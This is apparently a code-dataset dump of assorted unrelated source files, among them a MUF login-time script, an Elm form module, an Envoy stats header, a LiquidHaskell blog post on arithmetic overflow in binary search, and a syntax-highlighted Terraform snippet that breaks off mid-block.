content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
sequencelengths 1
8
|
---|---|---|---|---|---|
{% include scripts/index.js %}
| Liquid | 0 | JoostKersjes/tools | website/src/_includes/scripts/index.liquid | [
"MIT"
] |
@program con-laston.muf
1 1000 d
i
( con-laston.muf by Natasha@HLM
Sets users' @/laston and @/lastoff props appropriately, for use with Natasha's cmd-laston.
Copyright 2002 Natasha Snunkmeox. Copyright 2002 Here Lie Monsters.
"@view $box/mit" for license information.
)
: main ( str -- )
systime ( str int )
background ( str int )
intostr ( str strSecs )
swap "Connect" strcmp if "@/last/off" else "@/last/on" then ( strSecs strProp )
me @ over 4 pick setprop ( strSecs strProp )
me @ over array_get_proplist ( strSecs strProp arrTimes )
rot swap array_appenditem ( strProp arrTimes )
dup array_count 10 > if
0 array_delitem ( strProp arrTimes )
then
me @ -3 rotate array_put_proplist ( )
;
.
c
q
@set con-laston=l
@set con-laston=w
| MUF | 4 | natmeox/hlm-suite | con-laston.muf | [
"MIT"
] |
"""Constants for the Coronavirus integration."""
from coronavirus import DEFAULT_SOURCE
DOMAIN = "coronavirus"
OPTION_WORLDWIDE = "__worldwide"
ATTRIBUTION = f"Data provided by {DEFAULT_SOURCE.NAME}"
| Python | 3 | domwillcode/home-assistant | homeassistant/components/coronavirus/const.py | [
"Apache-2.0"
] |
- // MIR for `test` before ConstProp
+ // MIR for `test` after ConstProp
fn test(_1: i32) -> i32 {
debug x => _1; // in scope 0 at $DIR/mult_by_zero.rs:4:9: 4:10
let mut _0: i32; // return place in scope 0 at $DIR/mult_by_zero.rs:4:21: 4:24
let mut _2: i32; // in scope 0 at $DIR/mult_by_zero.rs:5:3: 5:4
bb0: {
StorageLive(_2); // scope 0 at $DIR/mult_by_zero.rs:5:3: 5:4
_2 = _1; // scope 0 at $DIR/mult_by_zero.rs:5:3: 5:4
- _0 = Mul(move _2, const 0_i32); // scope 0 at $DIR/mult_by_zero.rs:5:3: 5:8
+ _0 = const 0_i32; // scope 0 at $DIR/mult_by_zero.rs:5:3: 5:8
StorageDead(_2); // scope 0 at $DIR/mult_by_zero.rs:5:7: 5:8
return; // scope 0 at $DIR/mult_by_zero.rs:6:2: 6:2
}
}
| Diff | 5 | Eric-Arellano/rust | src/test/mir-opt/const_prop/mult_by_zero.test.ConstProp.diff | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
(*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*)
type estimates = {
estimated_time_to_recheck: float;
estimated_time_to_restart: float;
estimated_time_to_init: float;
estimated_time_per_file: float;
estimated_files_to_recheck: int;
estimated_files_to_init: int;
}
val init : options:Options.t -> init_time:float -> parsed_count:int -> estimates option Lwt.t
val record_recheck_time : options:Options.t -> total_time:float -> rechecked_files:int -> unit Lwt.t
val record_last_estimates : options:Options.t -> estimates:estimates -> unit Lwt.t
val get_init_time : unit -> float
val get_per_file_time : unit -> float
| OCaml | 4 | Hans-Halverson/flow | src/services/inference/recheck_stats.mli | [
"MIT"
] |
interface Display {
String asText()
}
trait Entity {
Integer id
}
class Product implements Entity, Display {
public String name
public Boolean available
public Float price
private String key
protected String data
/**
* Creates a new product instance.
* @param id Product ID.
* @param name Product name.
* @param available Product availability.
* @param price Product price.
* @param key Product key.
* @param data Product internal data.
*/
Product(id, name, available, price, key = "key", data = "internal") {
this.id = id
this.name = name
this.available = available
this.price = price
this.key = key
this.data = data
}
/**@
* Returns product data as text.
* @return Data string.
*/
String asText() {
return """ID [${id}] Name [${name}] Available [${available}] Price [${price}]"""
}
}
/* Creates a new product instance */
def product = new Product(1, "T-Shirt", true, 15.00)
println(product.asText())
product.available = false
product.price = 0.0
// Check values
assert product.asText() == "ID [1] Name [T-Shirt] Available [false] Price [0.0]"
def factorial(Integer value) {
if (value <= 1) {
return 1
} else {
return value * factorial(value - 1)
}
}
assert factorial(5) == 120
static String join(List<String> list, String separator) {
String data = ""
list.each { item ->
data += item + separator
}
data = data.substring(0, data.length() - 1)
return data
}
assert join(["g", "r", "o", "o", "v", "y"], " ") == "g r o o v y"
| Groovy | 5 | JesseVermeulen123/bat | tests/syntax-tests/source/Groovy/test.groovy | [
"Apache-2.0",
"MIT"
] |
<p><em>Inline formulas</em> are surrounded by single dollar signs. For example, <code>$f(x) = ax^2 + bx + c$</code> renders as <span class="MathJax_Preview" style="color: inherit;"></span><span class="MathJax" id="MathJax-Element-2-Frame" tabindex="0" style="position: relative;" data-mathml="<math xmlns="http://www.w3.org/1998/Math/MathML"><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi>a</mi><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mi>b</mi><mi>x</mi><mo>+</mo><mi>c</mi></math>" role="presentation"><nobr aria-hidden="true"><span class="math" id="MathJax-Span-26" style="width: 9.372em; display: inline-block;"><span style="display: inline-block; position: relative; width: 8.408em; height: 0px; font-size: 111%;"><span style="position: absolute; clip: rect(1.562em, 1008.39em, 2.95em, -1000em); top: -2.583em; left: 0em;"><span class="mrow" id="MathJax-Span-27"><span class="mi" id="MathJax-Span-28" style="font-family: STIXGeneral; font-style: italic;">𝑓<span style="display: inline-block; overflow: hidden; height: 1px; width: 0.06em;"></span></span><span class="mo" id="MathJax-Span-29" style="font-family: STIXGeneral;">(</span><span class="mi" id="MathJax-Span-30" style="font-family: STIXGeneral; font-style: italic;">𝑥</span><span class="mo" id="MathJax-Span-31" style="font-family: STIXGeneral;">)</span><span class="mo" id="MathJax-Span-32" style="font-family: STIXGeneral; padding-left: 0.313em;">=</span><span class="mi" id="MathJax-Span-33" style="font-family: STIXGeneral; font-style: italic; padding-left: 0.313em;">𝑎</span><span class="msubsup" id="MathJax-Span-34"><span style="display: inline-block; position: relative; width: 0.979em; height: 0px;"><span style="position: absolute; clip: rect(3.403em, 1000.51em, 4.213em, -1000em); top: -4.024em; left: 0em;"><span class="mi" id="MathJax-Span-35" style="font-family: STIXGeneral; font-style: italic;">𝑥</span><span style="display: inline-block; width: 0px; height: 4.024em;"></span></span><span style="position: absolute; top: -4.387em; left: 0.55em;"><span class="mn" id="MathJax-Span-36" style="font-size: 70.7%; font-family: STIXGeneral;">2</span><span style="display: inline-block; width: 0px; height: 4.024em;"></span></span></span></span><span class="mo" id="MathJax-Span-37" style="font-family: STIXGeneral; padding-left: 0.25em;">+</span><span class="mi" id="MathJax-Span-38" style="font-family: STIXGeneral; font-style: italic; padding-left: 0.25em;">𝑏</span><span class="mi" id="MathJax-Span-39" style="font-family: STIXGeneral; font-style: italic;">𝑥</span><span class="mo" id="MathJax-Span-40" style="font-family: STIXGeneral; padding-left: 0.25em;">+</span><span class="mi" id="MathJax-Span-41" style="font-family: STIXGeneral; font-style: italic; padding-left: 0.25em;">𝑐</span></span><span style="display: inline-block; width: 0px; height: 2.583em;"></span></span></span><span style="display: inline-block; overflow: hidden; vertical-align: -0.274em; border-left: 0px solid; width: 0px; height: 1.274em;"></span></span></nobr><span class="MJX_Assistive_MathML" role="presentation"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi>a</mi><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mi>b</mi><mi>x</mi><mo>+</mo><mi>c</mi></math></span></span><script type="math/tex" id="MathJax-Element-2">f(x)=ax^2+bx+c</script>.</p> | HTML | 2 | asahiocean/joplin | packages/app-cli/tests/html_to_md/mathjax_inline.html | [
"MIT"
] |
---
layout: post
title: Arithmetic Overflows
date: 2017-03-20
author: Ranjit Jhala
published: true
comments: true
tags: basic
demo: overflow.hs
---
Computers are great at crunching numbers.
However, if programmers aren't careful, their
machines can end up biting off more than
they can chew: simple arithmetic operations
over very large (or very tiny) inputs can
*overflow* leading to bizarre crashes
or vulnerabilities. For example,
[Joshua Bloch's classic post][bloch]
argues that nearly all binary searches
are broken due to integer overflows.
Lets see how we can teach LiquidHaskell
to spot such overflows.
<!-- more -->
<div class="hidden">
\begin{code}
module Bounded where
import Control.Exception (assert)
import Prelude hiding (Num (..))
import qualified Prelude
plusStrict :: Int -> Int -> Int
plusLazy :: Int -> Int -> Int
mono :: Int -> Bool
\end{code}
</div>
1. The Problem
--------------
LiquidHaskell, like some programmers, likes to make believe
that `Int` represents the set of integers. For example, you
might define a function `plus` as:
\begin{code}
{-@ plus :: x:Int -> y:Int -> {v:Int | v == x + y} @-}
plus :: Int -> Int -> Int
plus x y = x Prelude.+ y
\end{code}
The output type of the function states that the returned value
is equal to the \emph{logical} result of adding the two inputs.
The above signature lets us "prove" facts like addition by one
yields a bigger number:
\begin{code}
{-@ monoPlus :: Int -> {v:Bool | v <=> true } @-}
monoPlus :: Int -> Bool
monoPlus x = x < plus x 1
\end{code}
Unfortunately, the signature for plus and hence, the above
"fact" are both lies.
LH _checks_ `plus` as the same signature is _assumed_
for the primitive `Int` addition operator `Prelude.+`.
LH has to assume _some_ signature for this "foreign"
machine operation, and by default, LH assumes that
machine addition behaves like logical addition.
However, this assumption, and its consequences are
only true upto a point:
```haskell
λ> monoPlus 0
True
λ> monoPlus 100
True
λ> monoPlus 10000
True
λ> monoPlus 1000000
True
```
Once we get to `maxBound` at the very edge of `Int`,
a tiny bump is enough to send us tumbling backwards
into a twilight zone.
```haskell
λ> monoPlus maxBound
False
λ> plus maxBound 1
-9223372036854775808
```
2. Keeping Int In Their Place
-----------------------------
The news isn't all bad: the glass half full
view is that for "reasonable" values
like 10, 100, 10000 and 1000000, the
machine's arithmetic _is_ the same as
logical arithmetic. Lets see how to impart
this wisdom to LH. We do this in two steps:
define the *biggest* `Int` value, and then,
use this value to type the arithmetic operations.
**A. The Biggest Int**
First, we need a way to talk about
"the edge" -- i.e. the largest `Int`
value at which overflows occur.
We could use the concrete number
```haskell
λ> maxBound :: Int
9223372036854775807
```
However, instead of hardwiring a particular number,
a more general strategy is to define a symbolic
constant `maxInt` to represent _any_ arbitrary
overflow value and thus, make the type checking
robust to different machine integer widths.
\begin{code}
-- defines an Int constant called `maxInt`
{-@ measure maxInt :: Int @-}
\end{code}
To tell LH that `maxInt` is the "biggest" `Int`,
we write a predicate that describes values bounded
by `maxInt`:
\begin{code}
{-@ predicate Bounded N = 0 < N + maxInt && N < maxInt @-}
\end{code}
Thus, `Bounded n` means that the number `n` is in
the range `[-maxInt, maxInt]`.
**B. Bounded Machine Arithmetic**
Next, we can assign the machine arithmetic operations
types that properly capture the possibility of arithmetic
overflows. Here are _two_ possible specifications.
**Strict: Thou Shalt Not Overflow** A _strict_ specification
simply prohibits any overflow:
\begin{code}
{-@ plusStrict :: x:Int -> y:{Int|Bounded(x+y)} -> {v:Int|v = x+y} @-}
plusStrict x y = x Prelude.+ y
\end{code}
The inputs `x` and `y` _must_ be such that the result is `Bounded`,
and in that case, the output value is indeed their logical sum.
**Lazy: Overflow at Thine Own Risk** Instead, a _lazy_
specification could permit overflows but gives no
guarantees about the output when they occur.
\begin{code}
{-@ plusLazy :: x:Int -> y:Int -> {v:Int|Bounded(x+y) => v = x+y} @-}
plusLazy x y = x Prelude.+ y
\end{code}
The lazy specification says that while `plusLazy`
can be called with any values you like, the
result is the logical sum
*only if there is no overflow*.
To understand the difference between the two
specifications, lets revisit the `monoPlus`
property using the new machine-arithmetic
sensitive signatures:
\begin{code}
{-@ monoPlusStrict :: Int -> {v:Bool | v <=> true } @-}
monoPlusStrict x = x < plusStrict x 1
{-@ monoPlusLazy :: Int -> {v:Bool | v <=> true } @-}
monoPlusLazy x = x < plusLazy x 1
\end{code}
Both are rejected by LH, since, as we saw earlier,
the functions _do not_ always evaluate to `True`.
However, in the strict version the error is at the
possibly overflowing call to `plusStrict`.
In the lazy version, the call to `plusLazy` is
accepted, but as the returned value is some
arbitrary `Int` (not the logical `x+1`), the
comparison may return `False` hence the output
is not always `True`.
**Exercise:** Can you fix the specification
for `monoPlusStrict` and `monoPlusLazy` to
get LH to verify the implementation?
3. A Typeclass for Machine Arithmetic
-------------------------------------
Its a bit inconvenient to write `plusStrict` and `plusLazy`,
and really, we'd just like to write `+` and `-` and so on.
We can do so, by tucking the above specifications into
a _bounded numeric_ typeclass whose signatures capture machine
arithmetic. First, we define a `BoundedNum` variant of `Num`
\begin{code}
class BoundedNum a where
(+) :: a -> a -> a
(-) :: a -> a -> a
-- other operations ...
\end{code}
and now, we can define its `Int` instance just as wrappers
around the `Prelude` operations:
\begin{code}
instance BoundedNum Int where
x + y = x Prelude.+ y
x - y = x Prelude.- y
\end{code}
Finally, we can tell LH that the above above instance obeys the
(strict) specifications for machine arithmetic:
\begin{code}
{-@ instance BoundedNum Int where
+ :: x:Int -> y:{Int | Bounded (x+y)} -> {v:Int | v == x+y };
- :: x:Int -> y:{Int | Bounded (x-y)} -> {v:Int | v == x-y }
@-}
\end{code}
With the above instance in scope, we can just use the plain `+`
operator and have LH flag potential overflows:
\begin{code}
{-@ mono :: Int -> {v:Bool | v <=> true} @-}
mono x = x < x + 1
\end{code}
4. An Application: Binary Search
--------------------------------
The above seems a bit paranoid. Do overflows _really_ matter?
And if they do, is it really practical to check for them using
the above?
[Joshua Bloch's][bloch] famous article describes a
tricky overflow bug in an implementation of binary-search
that lay hidden in plain sight in classic textbooks and his
own implementation in the JDK for nearly a decade.
Gabriel Gonzalez wrote a lovely [introduction to LH][lh-gonzalez]
using binary-search as an example, and a careful reader
[pointed out][lh-overflow-reddit] that it had the same
overflow bug!
Lets see how we might spot and fix such bugs using `BoundedNum`.
<div class="row">
<div class="col-md-4">
**A. Off by One** Lets begin by just using
the default `Num Int` which ignores overflow.
As Gabriel explains, LH flags a bunch of errors
if we start the search with `loop x v 0 n` as
the resulting search can access `v` at any
index between `0` and `n` inclusive, which
may lead to an out of bounds at `n`.
We can fix the off-by-one by correcting the
upper bound to `n-1`, at which point LH
reports the code free of errors.
</div>
<div class="col-md-8">
<img id="splash-binarySearch-A"
class="center-block anim"
png="/liquidhaskell-blog/static/img/splash-binarySearch-A.png"
src="/liquidhaskell-blog/static/img/splash-binarySearch-A.png">
</div>
</div>
<br>
<div class="row">
<div class="col-md-8">
<img id="splash-binarySearch-B"
class="center-block anim"
png="/liquidhaskell-blog/static/img/splash-binarySearch-B.png"
src="/liquidhaskell-blog/static/img/splash-binarySearch-B.png">
</div>
<div class="col-md-4">
**B. Lots of Overflows** To spot arithmetic overflows, we need
only hide the default `Prelude` and instead import the `BoundedNum`
instance described above. Upon doing so, LH flags a whole bunch of
potential errors -- essentially *all* the arithmetic operations which
seems rather dire!
</div>
</div>
<div class="row">
<div class="col-md-4">
**C. Vector Sizes are Bounded** Of course, things
aren't _so_ bad. LH is missing the information that
the size of any `Vector` must be `Bounded`. Once we
inform LH about this invariant with the
[`using` directive][lh-invariants], it infers that
as the `lo` and `hi` indices are upper-bounded by
the `Vector`'s size, all the arithmetic on them is
also `Bounded` and hence, free of overflows.
</div>
<div class="col-md-8">
<img id="splash-binarySearch-C"
class="center-block anim"
png="/liquidhaskell-blog/static/img/splash-binarySearch-C.png"
src="/liquidhaskell-blog/static/img/splash-binarySearch-C.png">
</div>
</div>
<br>
<div class="row">
<div class="col-md-8">
<img id="splash-binarySearch-D"
class="center-block anim"
png="/liquidhaskell-blog/static/img/splash-binarySearch-D.png"
src="/liquidhaskell-blog/static/img/splash-binarySearch-D.png">
</div>
<div class="col-md-4">
**D. Staying In The Middle**
Well, *almost* all. The one pesky pink highlight that
remains is exactly the bug that Bloch made famous. Namely:
the addition used to compute the new midpoint between `lo`
and `hi` could overflow e.g. if the array was large and both
those indices were near the end. To ensure the machine doesn't
choke, we follow Bloch's suggestion and re-jigger the computation
to instead compute the midpoint by splitting the difference
between `hi` and `lo`! the code is now free of arithmetic
overflows and truly memory safe.
</div>
</div>
[lh-invariants]: https://github.com/ucsd-progsys/liquidhaskell/blob/develop/README.md#invariants
[lh-gonzalez]: http://www.haskellforall.com/2015/12/compile-time-memory-safety-using-liquid.html
[bloch]: https://research.googleblog.com/2006/06/extra-extra-read-all-about-it-nearly.html
[lh-overflow-reddit]: https://www.reddit.com/r/haskell/comments/3ysh9k/haskell_for_all_compiletime_memory_safety_using/cyg8g60/
| Literate Haskell | 5 | curiousleo/liquidhaskell | docs/blog/2017-03-20-arithmetic-overflows.lhs | [
"MIT",
"BSD-3-Clause"
] |
{:objects
{:person
{:fields {:name {:type String}
:age {:type Int}}}
:photo
{:fields {:imageURL {:type String}
:title {:type String}
:height {:type Int}
:width {:type Int}}}}
:unions
{:search_result
{:members [:person :photo]}}
:queries
{:search
{:type (list :search_result)
:args {:term String}}}}
| edn | 3 | hagenek/lacinia | docs/_examples/union-definition.edn | [
"Apache-2.0"
] |
class D[T]
class C[F[_]](val i: Int)
object C {
def apply[F[_]](implicit cf: C[F]): Int = cf.i
implicit def c0[F[_]]: C[F] = new C[F](0)
implicit def c1: C[D] = new C[D](1)
}
object Test extends App {
assert(C[D] == 1) // Works in Dotty ...
}
| Scala | 4 | jamesanto/scala | test/files/run/t10545.scala | [
"Apache-2.0"
] |
class US3HelloWorld extends GameInfo;
event InitGame( string Options, out string Error )
{
`log( "Hello, world!" );
}
defaultproperties
{
}
| UnrealScript | 3 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/UnrealScript/US3HelloWorld.uc | [
"MIT"
] |
module Views.SilenceForm.Types exposing
( Model
, SilenceForm
, SilenceFormFieldMsg(..)
, SilenceFormMsg(..)
, fromDateTimePicker
, fromMatchersAndCommentAndTime
, fromSilence
, initSilenceForm
, parseEndsAt
, toSilence
, validateForm
, validateMatchers
)
import Browser.Navigation exposing (Key)
import Data.GettableAlert exposing (GettableAlert)
import Data.GettableSilence exposing (GettableSilence)
import Data.Matcher
import Data.PostableSilence exposing (PostableSilence)
import DateTime
import Silences.Types exposing (nullSilence)
import Time exposing (Posix)
import Utils.Date exposing (addDuration, durationFormat, parseDuration, timeDifference, timeFromString, timeToString)
import Utils.DateTimePicker.Types exposing (DateTimePicker, initDateTimePicker, initFromStartAndEndTime)
import Utils.Filter
import Utils.FormValidation
exposing
( ValidatedField
, ValidationState(..)
, initialField
, stringNotEmpty
, validate
)
import Utils.Types exposing (ApiData(..))
import Views.FilterBar.Types as FilterBar
type alias Model =
{ form : SilenceForm
, filterBar : FilterBar.Model
, filterBarValid : ValidationState
, silenceId : ApiData String
, alerts : ApiData (List GettableAlert)
, activeAlertId : Maybe String
, key : Key
}
type alias SilenceForm =
{ id : Maybe String
, createdBy : ValidatedField
, comment : ValidatedField
, startsAt : ValidatedField
, endsAt : ValidatedField
, duration : ValidatedField
, dateTimePicker : DateTimePicker
, viewDateTimePicker : Bool
}
type SilenceFormMsg
= UpdateField SilenceFormFieldMsg
| CreateSilence
| PreviewSilence
| AlertGroupsPreview (ApiData (List GettableAlert))
| SetActiveAlert (Maybe String)
| FetchSilence String
| NewSilenceFromMatchersAndComment String Utils.Filter.SilenceFormGetParams
| NewSilenceFromMatchersAndCommentAndTime String (List Utils.Filter.Matcher) String Posix
| SilenceFetch (ApiData GettableSilence)
| SilenceCreate (ApiData String)
| UpdateDateTimePicker Utils.DateTimePicker.Types.Msg
| MsgForFilterBar FilterBar.Msg
type SilenceFormFieldMsg
= UpdateStartsAt String
| UpdateEndsAt String
| UpdateDuration String
| ValidateTime
| UpdateCreatedBy String
| ValidateCreatedBy
| UpdateComment String
| ValidateComment
| UpdateTimesFromPicker
| OpenDateTimePicker
| CloseDateTimePicker
initSilenceForm : Key -> Model
initSilenceForm key =
{ form = empty
, filterBar = FilterBar.initFilterBar []
, filterBarValid = Utils.FormValidation.Initial
, silenceId = Utils.Types.Initial
, alerts = Utils.Types.Initial
, activeAlertId = Nothing
, key = key
}
toSilence : FilterBar.Model -> SilenceForm -> Maybe PostableSilence
toSilence filterBar { id, comment, createdBy, startsAt, endsAt } =
Result.map5
(\nonEmptyMatchers nonEmptyComment nonEmptyCreatedBy parsedStartsAt parsedEndsAt ->
{ nullSilence
| id = id
, comment = nonEmptyComment
, matchers = nonEmptyMatchers
, createdBy = nonEmptyCreatedBy
, startsAt = parsedStartsAt
, endsAt = parsedEndsAt
}
)
(validMatchers filterBar)
(stringNotEmpty comment.value)
(stringNotEmpty createdBy.value)
(timeFromString startsAt.value)
(parseEndsAt startsAt.value endsAt.value)
|> Result.toMaybe
validMatchers : FilterBar.Model -> Result String (List Data.Matcher.Matcher)
validMatchers { matchers, matcherText } =
if matcherText /= "" then
Err "Please complete adding the matcher"
else
case matchers of
[] ->
Err "Matchers are required"
nonEmptyMatchers ->
Ok (List.map Utils.Filter.toApiMatcher nonEmptyMatchers)
fromSilence : GettableSilence -> SilenceForm
fromSilence { id, createdBy, comment, startsAt, endsAt } =
let
startsPosix =
Utils.Date.timeFromString (DateTime.toString startsAt)
|> Result.toMaybe
endsPosix =
Utils.Date.timeFromString (DateTime.toString endsAt)
|> Result.toMaybe
in
{ id = Just id
, createdBy = initialField createdBy
, comment = initialField comment
, startsAt = initialField (timeToString startsAt)
, endsAt = initialField (timeToString endsAt)
, duration = initialField (durationFormat (timeDifference startsAt endsAt) |> Maybe.withDefault "")
, dateTimePicker = initFromStartAndEndTime startsPosix endsPosix
, viewDateTimePicker = False
}
validateForm : SilenceForm -> SilenceForm
validateForm { id, createdBy, comment, startsAt, endsAt, duration, dateTimePicker } =
{ id = id
, createdBy = validate stringNotEmpty createdBy
, comment = validate stringNotEmpty comment
, startsAt = validate timeFromString startsAt
, endsAt = validate (parseEndsAt startsAt.value) endsAt
, duration = validate parseDuration duration
, dateTimePicker = dateTimePicker
, viewDateTimePicker = False
}
validateMatchers : FilterBar.Model -> ValidationState
validateMatchers filter =
case validMatchers filter of
Err error ->
Utils.FormValidation.Invalid error
Ok _ ->
Utils.FormValidation.Valid
parseEndsAt : String -> String -> Result String Posix
parseEndsAt startsAt endsAt =
case ( timeFromString startsAt, timeFromString endsAt ) of
( Ok starts, Ok ends ) ->
if Time.posixToMillis starts > Time.posixToMillis ends then
Err "Can't be in the past"
else
Ok ends
( _, endsResult ) ->
endsResult
empty : SilenceForm
empty =
{ id = Nothing
, createdBy = initialField ""
, comment = initialField ""
, startsAt = initialField ""
, endsAt = initialField ""
, duration = initialField ""
, dateTimePicker = initDateTimePicker
, viewDateTimePicker = False
}
defaultDuration : Float
defaultDuration =
-- 2 hours
2 * 60 * 60 * 1000
fromMatchersAndCommentAndTime : String -> String -> Posix -> SilenceForm
fromMatchersAndCommentAndTime defaultCreator comment now =
{ empty
| startsAt = initialField (timeToString now)
, endsAt = initialField (timeToString (addDuration defaultDuration now))
, duration = initialField (durationFormat defaultDuration |> Maybe.withDefault "")
, createdBy = initialField defaultCreator
, comment = initialField comment
, dateTimePicker = initFromStartAndEndTime (Just now) (Just (addDuration defaultDuration now))
, viewDateTimePicker = False
}
fromDateTimePicker : SilenceForm -> DateTimePicker -> SilenceForm
fromDateTimePicker { id, createdBy, comment, startsAt, endsAt, duration } newPicker =
{ id = id
, createdBy = createdBy
, comment = comment
, startsAt = startsAt
, endsAt = endsAt
, duration = duration
, dateTimePicker = newPicker
, viewDateTimePicker = True
}
| Elm | 5 | creganFL/alertmanager | ui/app/src/Views/SilenceForm/Types.elm | [
"ECL-2.0",
"Apache-2.0"
] |
#pragma once
#include <functional>
#include <memory>
#include <vector>
#include "envoy/common/pure.h"
#include "envoy/stats/histogram.h"
#include "envoy/stats/scope.h"
#include "envoy/stats/stats.h"
#include "envoy/stats/stats_matcher.h"
#include "envoy/stats/tag_producer.h"
namespace Envoy {
namespace Event {
class Dispatcher;
}
namespace ThreadLocal {
class Instance;
}
namespace Stats {
class Sink;
class SinkPredicates;
/**
* A store for all known counters, gauges, and timers.
*/
class Store : public Scope {
public:
/**
* @return a list of all known counters.
*/
virtual std::vector<CounterSharedPtr> counters() const PURE;
/**
* @return a list of all known gauges.
*/
virtual std::vector<GaugeSharedPtr> gauges() const PURE;
/**
* @return a list of all known text readouts.
*/
virtual std::vector<TextReadoutSharedPtr> textReadouts() const PURE;
/**
* @return a list of all known histograms.
*/
virtual std::vector<ParentHistogramSharedPtr> histograms() const PURE;
/**
* Iterate over all stats. Note, that implementations can potentially hold on to a mutex that
* will deadlock if the passed in functors try to create or delete a stat.
* @param f_size functor that is provided the current number of all stats. Note that this is
* called only once, prior to any calls to f_stat.
* @param f_stat functor that is provided one stat at a time from the stats container.
*/
virtual void forEachCounter(SizeFn f_size, StatFn<Counter> f_stat) const PURE;
virtual void forEachGauge(SizeFn f_size, StatFn<Gauge> f_stat) const PURE;
virtual void forEachTextReadout(SizeFn f_size, StatFn<TextReadout> f_stat) const PURE;
/**
* Iterate over all stats that need to be flushed to sinks. Note, that implementations can
* potentially hold on to a mutex that will deadlock if the passed in functors try to create
* or delete a stat.
* @param f_size functor that is provided the number of all stats that will be flushed to sinks.
* Note that this is called only once, prior to any calls to f_stat.
* @param f_stat functor that is provided one stat that will be flushed to sinks, at a time.
*/
virtual void forEachSinkedCounter(SizeFn f_size, StatFn<Counter> f_stat) const PURE;
virtual void forEachSinkedGauge(SizeFn f_size, StatFn<Gauge> f_stat) const PURE;
virtual void forEachSinkedTextReadout(SizeFn f_size, StatFn<TextReadout> f_stat) const PURE;
};
using StorePtr = std::unique_ptr<Store>;
/**
* Callback invoked when a store's mergeHistogram() runs.
*/
using PostMergeCb = std::function<void()>;
/**
* The root of the stat store.
*/
class StoreRoot : public Store {
public:
/**
* Add a sink that is used for stat flushing.
*/
virtual void addSink(Sink& sink) PURE;
/**
* Set the given tag producer to control tags.
*/
virtual void setTagProducer(TagProducerPtr&& tag_producer) PURE;
/**
* Attach a StatsMatcher to this StoreRoot to prevent the initialization of stats according to
* some ruleset.
* @param stats_matcher a StatsMatcher to attach to this StoreRoot.
*/
virtual void setStatsMatcher(StatsMatcherPtr&& stats_matcher) PURE;
/**
* Attach a HistogramSettings to this StoreRoot to generate histogram configurations
* according to some ruleset.
*/
virtual void setHistogramSettings(HistogramSettingsConstPtr&& histogram_settings) PURE;
/**
* Initialize the store for threading. This will be called once after all worker threads have
* been initialized. At this point the store can initialize itself for multi-threaded operation.
*/
virtual void initializeThreading(Event::Dispatcher& main_thread_dispatcher,
ThreadLocal::Instance& tls) PURE;
/**
* Shutdown threading support in the store. This is called once when the server is about to shut
* down.
*/
virtual void shutdownThreading() PURE;
/**
* Called during the flush process to merge all the thread local histograms. The passed in
* callback will be called on the main thread, but it will happen after the method returns
* which means that the actual flush process will happen on the main thread after this method
* returns. It is expected that only one merge runs at any time and concurrent calls to this
* method would be asserted.
*/
virtual void mergeHistograms(PostMergeCb merge_complete_cb) PURE;
/**
* Set predicates for filtering counters, gauges and text readouts to be flushed to sinks.
* Note that if the sink predicates object is set, we do not send non-sink stats over to the
* child process during hot restart. This will result in the admin stats console being wrong
* during hot restart.
*/
virtual void setSinkPredicates(std::unique_ptr<SinkPredicates>&& sink_predicates) PURE;
};
using StoreRootPtr = std::unique_ptr<StoreRoot>;
} // namespace Stats
} // namespace Envoy
| C | 5 | giantcroc/envoy | envoy/stats/store.h | [
"Apache-2.0"
] |
[3;38;2;102;217;239mprovider[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mgithub[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[38;2;255;255;255morganization[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mgithub_organization[0m
[38;2;248;248;242m}[0m
[3;38;2;102;217;239mresource[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mtls_private_key[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mdeploy_key[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[38;2;255;255;255malgorithm[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;230;219;116m"[0m[38;2;230;219;116mRSA[0m[38;2;230;219;116m"[0m
[38;2;248;248;242m [0m[38;2;255;255;255mrsa_bits[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;230;219;116m"[0m[38;2;230;219;116m4096[0m[38;2;230;219;116m"[0m
[38;2;248;248;242m}[0m
[3;38;2;102;217;239mresource[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mnull_resource[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mprivate_key_file[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[38;2;255;255;255mtriggers[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[38;2;230;219;116mdeploy_key[0m[38;2;248;248;242m [0m[38;2;249;38;114m=[0m[38;2;248;248;242m tls_private_key[0m[38;2;249;38;114m.[0m[38;2;255;255;255mdeploy_key[0m[38;2;249;38;114m.[0m[38;2;255;255;255mprivate_key_pem[0m
[38;2;248;248;242m [0m[38;2;248;248;242m}[0m
[38;2;248;248;242m [0m[38;2;166;226;46mprovisioner[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mfile[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;248;248;242m{[0m
